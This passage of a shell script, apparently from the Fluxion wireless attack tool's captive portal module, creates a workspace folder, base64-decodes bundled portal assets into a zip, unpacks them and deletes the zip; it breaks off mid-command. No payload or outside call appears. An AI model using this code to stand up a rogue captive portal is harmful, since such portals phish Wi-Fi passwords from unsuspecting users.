mkdir "$FLUXIONWorkspacePath/captive_portal" fi base64 -d "$FLUXIONPath/attacks/Captive Portal/generic/assets" >"$FLUXIONWorkspacePath/file.zip" unzip "$FLUXIONWorkspacePath/file.zip" -d "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice sandbox_remove_workfile "$FLUXIONWorkspacePath/file.zip" echo "\